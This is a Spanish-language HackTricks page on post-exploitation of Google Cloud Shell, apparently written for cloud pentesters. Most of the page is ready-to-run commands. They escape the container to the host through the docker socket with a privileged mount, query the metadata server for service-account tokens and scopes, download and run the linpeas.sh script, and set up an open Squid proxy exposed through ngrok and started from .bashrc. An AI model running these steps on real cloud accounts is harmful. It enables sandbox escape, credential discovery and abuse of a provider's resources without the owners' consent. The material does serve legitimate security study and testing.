GCP - Cloud Shell Post Exploitation

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Cloud Shell

Para obtener más información sobre Cloud Shell, consulta:

pageGCP - Cloud Shell Enum

Escape de Contenedor

Ten en cuenta que Google Cloud Shell se ejecuta dentro de un contenedor, puedes escapar fácilmente al host haciendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Esto no es considerado una vulnerabilidad por Google, pero te da una visión más amplia de lo que está sucediendo en ese entorno.

Además, ten en cuenta que desde el host puedes encontrar un token de cuenta de servicio:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con los siguientes alcances:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerar metadatos con LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Después de usar https://github.com/carlospolop/bf_my_gcp_permissions con el token de la Cuenta de Servicio no se descubrió ningún permiso...

Úsalo como Proxy

Si deseas utilizar tu instancia de Google Cloud Shell como proxy, necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):

sudo apt install -y squid

Solo para que sepas, Squid es un servidor proxy http. Crea un archivo squid.conf con la siguiente configuración:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copiar el archivo squid.conf a /etc/squid

sudo cp squid.conf /etc/squid

Finalmente ejecuta el servicio squid:

sudo service squid start

Utiliza ngrok para que el proxy esté disponible desde el exterior:

./ngrok tcp 3128

Después de ejecutar, copia la URL tcp://. Si deseas ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y colocar el puerto en el campo de puerto de la configuración de proxy de tu navegador (squid es un servidor proxy http).

Para un mejor uso al iniciar, el archivo .bashrc debería tener las siguientes líneas:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Las instrucciones fueron copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consulta esa página para otras ideas locas para ejecutar cualquier tipo de software (bases de datos e incluso Windows) en Cloud Shell.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización